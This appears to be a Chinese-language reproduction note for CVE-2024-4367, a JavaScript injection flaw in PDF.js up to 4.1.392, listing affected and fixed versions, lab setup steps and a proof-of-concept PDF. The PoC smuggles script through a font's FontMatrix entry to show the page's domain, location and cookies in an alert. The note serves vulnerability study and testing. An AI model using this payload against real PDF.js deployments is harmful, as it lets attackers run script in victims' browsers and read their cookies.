PDF.js 任意 JavaScript 代码执行 CVE-2024-4367
漏洞描述
PDF.js 是 Mozilla 推出的一款开源 PDF 文件阅读器。其 4.1.392 版本及以前,PDF.js 中存在一处 JavaScript 代码注入漏洞。
参考链接:
- https://codeanlabs.com/blog/research/cve-2024-4367-arbitrary-js-execution-in-pdf-js/
- https://github.com/mozilla/pdf.js/archive/refs/tags/v4.1.392.zip
漏洞影响
影响版本:
v4.1.392 (released April 11, 2024): 受影响 (release before this bug was fixed)
v1.10.88 (released Oct 27, 2017): 受影响 (re-introduces the security vulnerability due to a typo fix)
v1.4.20 (released Jan 27, 2016): 受影响 (release before the next release that accidentally fixed the vulnerable code)
v0.8.1181 (released Apr 10, 2014): 受影响 (first public release of PDF.js)
安全版本:
v4.2.67 (released April 29, 2024): 不受影响 (fixed)
v1.9.426 (released Aug 15, 2017): 不受影响 (release before the next affected version)
v1.5.188 (released Apr 21, 2016): 不受影响 (mitigated the security vulnerability by an accidental typo)
环境搭建
Vulhub 执行如下命令启动一个使用了 PDF.js 4.1.392 的服务器:
docker compose up -d
服务启动后,访问http://your-ip:8080
可以看到一个上传页面。
2024/05/27_15:30:25.85
Vulhub 拉取镜像未成功,源码搭建环境:
wget https://github.com/mozilla/pdf.js/archive/refs/tags/v4.1.392.zip
unzip v4.1.392.zip
cd pdf.js-4.1.392
npm install -g gulp-cli@^2.3.0
npm install
gulp server
vps 需要修改
./pdf.js-4.1.392/test/webserver.mjs
,将localhost
改为0.0.0.0
:
this.host = host || "0.0.0.0";
漏洞复现
上传恶意PDF文件poc.pdf,即可触发XSS弹窗。
漏洞POC
poc.pdf
%PDF-1.4
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5 0 obj
<<
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/LastChar 102
/Encoding/WinAnsiEncoding
/FontMatrix [0.1 0 0 0.1 0 (1\); \nalert\('document.domain: '+window.document.domain+'\\nlocation: '+window.location+'\\ncookie: '+window.document.cookie)]
/Subtype/Type1
/FirstChar 65
/FontDescriptor 9 0 R
>>
endobj
2 0 obj
<<
/Kids[3 0 R]
/Type/Pages
/Count 1
>>
endobj
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<<
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/CapHeight 713
/Flags 32
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endobj
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<<
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ET
endstream
endobj
3 0 obj
<<
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stream
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1 0 obj
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xref
0 11
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trailer
<<
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>>
startxref
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%%EOF